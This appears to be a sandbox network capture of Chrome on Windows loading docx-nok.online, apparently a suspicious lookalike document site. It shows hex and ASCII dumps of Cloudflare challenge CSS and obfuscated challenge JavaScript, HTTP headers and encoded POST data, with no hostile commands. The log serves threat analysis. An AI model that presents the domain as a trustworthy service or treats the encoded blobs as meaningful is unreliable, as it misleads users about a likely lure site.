2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 Data Ascii: ax-width:60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5r
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 63 6b 7d 7d 2e 72 74 6c 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 Data Ascii: ck}}.rtl .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equ
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 64 78 45 49 32 76 6e 73 31 6a 51 6c 6e 55 49 57 77 47 6d 72 38 42 39 38 56 6c 41 45 50 77 47 4d 6e 51 42 5a 59 44 31 67 5f 4d 54 46 77 79 5f 57 52 4f 45 4b 65 6e 30 70 51 65 30 72 39 51 72 33 50 69 67 43 30 49 62 36 4e 4c 58 41 43 75 4d 44 30 4a 6b 51 6f 66 69 68 4b 2e 53 55 61 63 44 39 62 78 6a 5f 4c 4d 4f 42 6b 6f 4b 52 72 46 36 65 4c 70 30 33 4f 66 35 43 50 68 66 38 2e 55 5f 66 6c 77 6b 31 48 7a 61 78 38 66 6c 6e 6c 46 42 5f 78 4f 66 78 67 42 76 79 4c 43 67 42 72 41 70 39 78 44 55 75 6c 6d 5a 37 4c 35 77 54 47 4d 76 33 69 42 49 48 72 4f 4d 5a 48 66 59 65 48 68 32 43 68 48 72 4f 35 31 30 6c 4d 77 62 45 69 77 72 53 4e 7a 41 57 75 4d 6f 56 48 5a 51 4e 6e 6b 66 78 52 70 64 74 76 6e 30 4f 41 77 71 4a 76 7a 48 72 53 32 51 59 74 68 79 63 75 4a 52 62 7a 4e 58 Data Ascii: dxEI2vns1jQlnUIWwGmr8B98VlAEPwGMnQBZYD1g_MTFwy_WROEKen0pQe0r9Qr3PigC0Ib6NLXACuMD0JkQofihK.SUacD9bxj_LMOBkoKRrF6eLp03Of5CPhf8.U_flwk1Hzax8flnlFB_xOfxgBvyLCgBrAp9xDUulmZ7L5wTGMv3iBIHrOMZHfYeHh2ChHrO510lMwbEiwrSNzAWuMoVHZQNnkfxRpdtvn0OAwqJvzHrS2QYthycuJRbzNX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.18	49691	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:41 UTC	945	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=876dc5736c867b92 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://docx-nok.online/?__cf_chl_rt_tk=dEnNWMoT1RjGZ5uDzVvh52lnn28exGDs8jACx.clUzY-1713538901-0.0.1.1-1557 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:41 UTC	689	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:41 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C2ijlDerXbtv5iLF0ScoJUCGX%2BNDQaPiu9qWX1orjYll%2BkkvJOaFlA9SUZbmQGgkMxQxkF50I82XGmC4ZsJ22VMocTuU0c%2BGYGX%2FposYfMR01I%2BHdwdUxxfcqUTB19Mi%2BvA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc574586c7ba0-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:41 UTC	412	IN	Data Raw: 31 39 35 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 53 52 3d 74 72 75 65 3b 7e 66 75 6e 63 74 69 6f 6e 28 69 35 2c 66 75 2c 66 76 2c 66 42 2c 66 44 2c 66 48 2c 66 4c 2c 66 4d 2c 66 51 2c 66 52 2c 66 53 2c 66 56 2c 66 57 2c 67 73 2c 67 75 2c 67 76 2c 67 77 2c 67 78 2c 67 79 2c 67 7a 2c 67 41 2c 67 42 2c 67 43 2c 67 44 2c 67 45 2c 67 46 2c 67 47 2c 67 48 2c 67 49 2c 67 4a 2c 67 4b 2c 67 4c 2c 67 4d 2c 67 4e 2c 67 4f 2c 67 50 2c 67 51 2c 67 52 2c 67 53 2c 67 54 2c 67 55 2c 67 56 2c 67 57 2c 67 58 2c 67 59 2c 67 5a 2c 68 30 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 2c 68 39 2c 68 61 2c 68 62 2c 68 63 2c 68 64 2c 68 65 Data Ascii: 195window._cf_chl_opt.uaO=false;window._cf_chl_opt.uaSR=true;~function(i5,fu,fv,fB,fD,fH,fL,fM,fQ,fR,fS,fV,fW,gs,gu,gv,gw,gx,gy,gz,gA,gB,gC,gD,gE,gF,gG,gH,gI,gJ,gK,gL,gM,gN,gO,gP,gQ,gR,gS,gT,gU,gV,gW,gX,gY,gZ,h0,h1,h2,h3,h4,h5,h6,h7,h8,h9,ha,hb,hc,hd,he
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 31 36 66 65 0d 0a 2d 70 61 72 73 65 49 6e 74 28 69 34 28 36 32 31 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 69 34 28 32 33 35 39 29 29 2f 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 69 34 28 32 32 35 39 29 29 2f 36 29 2b 70 61 72 73 65 49 6e 74 28 69 34 28 32 33 39 31 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 69 34 28 32 31 37 30 29 29 2f 38 2a 28 70 61 72 73 65 49 6e 74 28 69 34 28 37 34 37 29 29 2f 39 29 2b 70 61 72 73 65 49 6e 74 28 69 34 28 31 34 31 34 29 29 2f 31 30 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 39 30 36 37 35 30 29 2c 66 75 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 66 76 3d 66 75 5b Data Ascii: 16fe-parseInt(i4(621))/4)+-parseInt(i4(2359))/5(-parseInt(i4(2259))/6)+parseInt(i4(2391))/7+-parseInt(i4(2170))/8(parseInt(i4(747))/9)+parseInt(i4(1414))/10,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,906750),fu=this\|\|self,fv=fu[
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 7d 2c 27 78 74 71 73 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 2c 49 29 7b 72 65 74 75 72 6e 20 47 28 48 2c 49 29 7d 7d 2c 6f 5b 69 53 28 36 32 36 29 5d 28 6e 75 6c 6c 2c 68 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 29 72 65 74 75 72 6e 20 6a 3b 66 6f 72 28 78 3d 66 50 28 68 29 2c 67 5b 69 53 28 31 36 38 35 29 5d 5b 69 53 28 32 32 31 33 29 5d 26 26 28 78 3d 78 5b 69 53 28 31 34 36 39 29 5d 28 67 5b 69 53 28 31 36 38 35 29 5d 5b 69 53 28 32 32 31 33 29 5d 28 68 29 29 29 2c 78 3d 67 5b 69 53 28 32 37 31 29 5d 5b 69 53 28 31 31 38 37 29 5d 26 26 67 5b 69 53 28 32 34 35 32 29 5d 3f 67 5b 69 53 28 32 37 31 29 5d 5b 69 53 28 31 31 38 37 29 5d 28 6e 65 77 20 67 5b 28 69 53 28 32 34 35 32 29 29 5d 28 78 29 29 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 69 54 2c 48 29 7b Data Ascii: },'xtqsK':function(G,H,I){return G(H,I)}},o[iS(626)](null,h)\|\|void 0===h)return j;for(x=fP(h),g[iS(1685)][iS(2213)]&&(x=x[iS(1469)](g[iS(1685)][iS(2213)](h))),x=g[iS(271)][iS(1187)]&&g[iS(2452)]?g[iS(271)][iS(1187)](new g[(iS(2452))](x)):function(G,iT,H){
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 6e 5d 5b 69 55 28 31 37 34 30 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 26 26 28 66 52 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 55 28 31 36 30 30 29 5d 28 27 6f 2e 27 2b 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 55 28 36 39 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 76 2c 69 56 29 7b 69 66 28 69 56 3d 69 55 2c 69 56 28 31 36 38 32 29 21 3d 3d 6b 5b 69 56 28 37 39 34 29 5d 29 72 65 74 75 72 6e 27 6f 2e 27 2b 76 3b 65 6c 73 65 20 6d 5b 69 56 28 32 34 30 30 29 5d 5b 69 56 28 31 31 30 39 29 5d 28 6b 5b 69 56 28 31 36 37 31 29 5d 29 7d 29 7d 2c 66 53 3d 66 75 6e 63 74 69 6f 6e 28 69 57 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 69 57 3d 69 35 2c 64 3d 7b 27 77 64 Data Ascii: n][iU(1740)](i[l[m]][o]))&&(fR(i[l[m]][o])\|\|h[n][iU(1600)]('o.'+i[l[m]][o])),o++);}else h[n]=i[l[m]][iU(697)](function(v,iV){if(iV=iU,iV(1682)!==k[iV(794)])return'o.'+v;else m[iV(2400)][iV(1109)](k[iV(1671)])})},fS=function(iW,d,e,f,g){return iW=i5,d={'wd
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 2c 27 70 53 4d 4b 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 6f 47 58 72 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 68 51 6c 54 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 51 52 47 49 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 51 48 6c 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 57 28 36 33 36 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 58 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 58 3d 69 57 2c 69 3d 7b 7d 2c 69 5b 69 58 28 31 31 39 30 29 5d 3d 66 75 6e 63 74 69 6f 6e Data Ascii: ,'pSMKI':function(h,i){return hi},'oGXrh':function(h,i){return h<i},'hQlTo':function(h,i){return ih},'QRGIF':function(h,i){return h(i)},'xQHlw':function(h,i){return h+i}},e=String[iW(636)],f={'h':function(h,iX,i,j){return iX=iW,i={},i[iX(1190)]=function
2024-04-19 15:01:41 UTC	418	IN	Data Raw: 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 6a 32 28 31 36 30 30 29 5d 28 64 5b 6a 32 28 33 37 33 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 4e 3d 44 5b 6a 32 28 32 32 39 32 29 5d 28 30 29 2c 78 3d 30 3b 31 36 3e 78 3b 49 3d 64 5b 6a 32 28 32 33 32 30 29 5d 28 49 3c 3c 31 2c 64 5b 6a 32 28 31 33 35 34 29 5d 28 4e 2c 31 29 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 6a 32 28 31 36 30 30 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 45 2d 2d 2c 64 5b 6a 32 28 32 39 32 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 6a 32 28 31 36 36 30 29 5d 28 32 2c 47 29 2c 47 2b 2b 29 2c 64 65 6c 65 74 65 20 43 5b 44 5d 7d 65 6c 73 65 7b 66 6f 72 28 54 3d 31 2c 55 3d Data Ascii: ](J,j-1)?(J=0,H[j2(1600)](d[j2(373)](o,I)),I=0):J++,N=0,x++);for(N=D[j2(2292)](0),x=0;16>x;I=d[j2(2320)](I<<1,d[j2(1354)](N,1)),J==j-1?(J=0,H[j2(1600)](o(I)),I=0):J++,N>>=1,x++);}E--,d[j2(292)](0,E)&&(E=Math[j2(1660)](2,G),G++),delete C[D]}else{for(T=1,U=
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 65 33 38 0d 0a 32 39 29 5d 28 61 6a 2c 31 29 3f 28 61 6b 3d 30 2c 61 6c 5b 6a 32 28 31 36 30 30 29 5d 28 61 6d 28 61 6e 29 29 2c 61 6f 3d 30 29 3a 61 70 2b 2b 2c 61 71 3e 3e 3d 31 2c 61 65 2b 2b 29 3b 7d 7d 65 6c 73 65 20 66 6f 72 28 4e 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 6a 32 28 32 31 35 38 29 5d 28 49 2c 31 29 7c 64 5b 6a 32 28 39 33 31 29 5d 28 4e 2c 31 29 2c 64 5b 6a 32 28 32 30 30 33 29 5d 28 4a 2c 64 5b 6a 32 28 34 32 39 29 5d 28 6a 2c 31 29 29 3f 28 4a 3d 30 2c 48 5b 6a 32 28 31 36 30 30 29 5d 28 64 5b 6a 32 28 31 33 31 32 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 44 3d 28 45 2d 2d 2c 64 5b 6a 32 28 32 30 30 33 29 5d 28 30 2c 45 29 26 26 28 45 3d 4d 61 74 68 5b 6a 32 28 31 36 36 30 29 Data Ascii: e3829)](aj,1)?(ak=0,al[j2(1600)](am(an)),ao=0):ap++,aq>>=1,ae++);}}else for(N=B[D],x=0;x<G;I=d[j2(2158)](I,1)\|d[j2(931)](N,1),d[j2(2003)](J,d[j2(429)](j,1))?(J=0,H[j2(1600)](d[j2(1312)](o,I)),I=0):J++,N>>=1,x++);D=(E--,d[j2(2003)](0,E)&&(E=Math[j2(1660)
2024-04-19 15:01:41 UTC	1369	IN	Data Raw: 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 53 3d 64 5b 6a 32 28 33 37 33 29 5d 28 4c 2c 64 5b 6a 32 28 35 34 39 29 5d 29 2c 45 3d 6f 5b 6a 32 28 31 38 30 32 29 5d 28 6a 32 28 31 35 38 37 29 29 2c 73 5b 6a 32 28 32 32 35 33 29 5d 3d 64 5b 6a 32 28 38 34 32 29 5d 2c 65 5b 6a 32 28 31 32 36 35 29 5d 5b 6a 32 28 32 35 36 39 29 5d 3d 6a 32 28 31 31 33 30 29 2c 54 3d 78 5b 6a 32 28 31 38 30 32 29 5d 28 6a 32 28 31 30 35 37 29 29 2c 54 5b 6a 32 28 33 32 31 29 5d 3d 6a 32 28 31 30 30 36 29 2c 54 5b 6a 32 28 32 32 35 35 29 5d 3d 53 2c 42 5b 6a 32 28 32 31 35 32 29 5d 5b 6a 32 28 37 33 34 29 5d 28 29 3d 3d 3d 31 3f 54 5b 6a 32 28 31 32 36 35 29 5d 5b 6a 32 28 39 32 31 29 5d 3d 27 30 27 3a 54 5b 6a 32 28 32 34 30 30 29 5d 5b 6a 32 28 31 Data Ascii: N>>=1,x++);}else return S=d[j2(373)](L,d[j2(549)]),E=o[j2(1802)](j2(1587)),s[j2(2253)]=d[j2(842)],e[j2(1265)][j2(2569)]=j2(1130),T=x[j2(1802)](j2(1057)),T[j2(321)]=j2(1006),T[j2(2255)]=S,B[j2(2152)][j2(734)]()===1?T[j2(1265)][j2(921)]='0':T[j2(2400)][j2(1
2024-04-19 15:01:41 UTC	909	IN	Data Raw: 29 5d 28 27 7c 27 29 2c 4d 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 4c 5b 4d 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 4e 3d 47 26 48 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 6a 35 28 32 32 36 33 29 5d 28 6f 2c 49 2b 2b 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 4a 7c 3d 46 2a 28 30 3c 4e 3f 31 3a 30 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 46 3c 3c 3d 31 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 48 3e 3e 3d 31 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 6a 35 28 31 36 36 30 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4e 3d 64 5b 6a 35 28 31 Data Ascii: )]('\|'),M=0;!![];){switch(L[M++]){case'0':N=G&H;continue;case'1':0==H&&(H=j,G=d[j5(2263)](o,I++));continue;case'2':J\|=F*(0<N?1:0);continue;case'3':F<<=1;continue;case'4':H>>=1;continue}break}switch(J){case 0:for(J=0,K=Math[j5(1660)](2,8),F=1;K!=F;N=d[j5(1
2024-04-19 15:01:41 UTC	1037	IN	Data Raw: 34 30 36 0d 0a 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 6a 35 28 31 32 30 32 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 6a 35 28 31 34 34 37 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 6a 35 28 31 35 30 36 29 5d 28 65 2c 4a 29 2c 4f 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 6a 35 28 31 39 32 39 29 5d 28 27 27 29 7d 69 66 28 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 6a 35 28 31 36 36 30 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4f 5d 29 4f 3d 73 5b 4f 5d 3b 65 6c 73 65 20 69 66 28 4f 3d 3d 3d 42 29 4f 3d 45 2b 45 5b 6a 35 28 31 30 38 32 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 44 5b 6a 35 28 Data Ascii: 406H&G,H>>=1,d[j5(1202)](0,H)&&(H=j,G=o(I++)),J\|=d[j5(1447)](0<N?1:0,F),F<<=1);s[B++]=d[j5(1506)](e,J),O=B-1,x--;break;case 2:return D[j5(1929)]('')}if(0==x&&(x=Math[j5(1660)](2,C),C++),s[O])O=s[O];else if(O===B)O=E+E[j5(1082)](0);else return null;D[j5(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.18	49692	35.190.80.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:41 UTC	548	OUT	OPTIONS /report/v4?s=%2Fig0HEQ%2Blnw5kYrXqwSh28tVKyhsW%2FGo6%2FhwGbDcWOvIAlpMk1kgk1JhaBhJ5M1YrS0uojY23Xoi%2BN47DdM6vN%2F5rD%2BGj%2FcPHA4RxEP2%2FDwRK3vydqY5rbJrqAE02182yTE%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://docx-nok.online Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:41 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 19 Apr 2024 15:01:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.18	49693	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:41 UTC	1057	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1 Host: docx-nok.online Connection: keep-alive Content-Length: 1949 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-type: application/x-www-form-urlencoded sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" CF-Challenge: b9a92c2ac5a9fbe sec-ch-ua-platform: "Windows" Accept: / Origin: https://docx-nok.online Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docx-nok.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:41 UTC	1949	OUT	Data Raw: 76 5f 38 37 36 64 63 35 37 33 36 63 38 36 37 62 39 32 3d 4c 69 61 71 4b 71 59 71 43 71 68 71 6f 33 76 34 33 76 51 71 4e 6e 6f 47 79 41 72 6d 42 76 54 61 76 4c 33 76 38 61 49 41 76 35 71 49 25 32 62 72 33 42 74 61 76 67 6f 6f 4e 38 6e 49 42 73 61 52 76 73 71 4c 72 31 5a 4c 79 70 69 55 76 6d 71 49 42 42 76 45 6e 76 41 61 73 76 76 72 74 76 59 4e 71 31 6d 34 78 6d 69 31 41 37 33 4f 76 70 76 69 71 33 75 76 57 75 72 49 75 74 63 71 49 79 77 63 34 44 7a 44 58 76 66 31 6e 76 75 6f 38 78 42 32 71 76 2b 74 48 55 49 78 51 63 41 55 4a 34 46 6e 69 6c 34 74 75 74 76 76 4a 24 48 64 38 76 63 74 47 67 4c 4b 4e 76 74 48 38 4c 76 31 38 58 56 6d 76 6e 76 6d 63 62 4c 76 76 37 76 33 48 32 34 55 43 76 30 74 47 43 62 6d 6a 52 76 33 42 2d 76 49 32 36 57 32 74 6c 76 49 44 64 62 38 Data Ascii: v_876dc5736c867b92=LiaqKqYqCqhqo3v43vQqNnoGyArmBvTavL3v8aIAv5qI%2br3BtavgooN8nIBsaRvsqLr1ZLypiUvmqIBBvEnvAasvvrtvYNq1m4xmi1A73Ovpviq3uvWurIutcqIywc4DzDXvf1nvuo8xB2qv+tHUIxQcAUJ4Fnil4tutvvJ$Hd8vctGgLKNvtH8Lv18XVmvnvmcbLvv7v3H24UCv0tGCbmjRv3B-vI26W2tlvIDdb8
2024-04-19 15:01:42 UTC	675	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:41 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: OQUQO4UfWrjBGppoEeXuLo2CjsKIo7y0JeTXrUob4ZalVEAb0xC8RDL3vO0vNrT1$mh0Eycjfi5eMpIB5APo4sg== vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3KsniJz0%2FVo8lR6sb7l2idd%2BLZE4JthcijF4rp%2F6c2w4tV6aImAKXmTpbfFVmu5XGw5qomGpFDhsdbxOVx0zvm9dihNhxiBhizUi6XdW2Kjyi9LGAEWSYNALm8xPWgVl5Tk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc578ba2153ba-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:42 UTC	694	IN	Data Raw: 33 30 65 0d 0a 73 4a 32 37 72 5a 4b 75 6a 6e 37 42 68 70 61 45 67 5a 6d 32 6e 59 44 4a 6f 61 57 67 6e 4b 6d 70 70 4b 47 6b 78 4c 57 6b 32 74 53 76 74 39 32 71 6d 64 48 6b 74 4e 50 64 34 2b 50 67 35 4d 50 48 37 4f 79 6f 30 74 43 72 79 64 48 67 33 36 37 45 7a 50 76 4e 36 4c 6a 55 75 67 4f 2f 41 63 54 64 31 73 41 49 2b 64 6a 32 31 72 38 51 39 38 6e 4f 44 67 33 52 7a 42 67 53 30 41 76 59 43 4f 34 4b 39 65 6a 63 39 76 58 77 37 4e 66 78 32 51 41 66 35 53 51 59 39 51 55 4c 44 53 49 50 44 79 73 78 44 53 6b 5a 36 78 41 49 2b 42 4d 4f 4d 52 59 4b 47 42 41 41 52 79 49 6a 42 53 45 69 50 51 63 2f 44 44 77 6a 4d 69 38 67 44 53 30 74 53 53 30 5a 4d 55 31 59 4d 42 6f 53 4f 46 4a 59 50 30 59 34 4f 47 63 6c 4f 7a 5a 6c 4f 32 64 4f 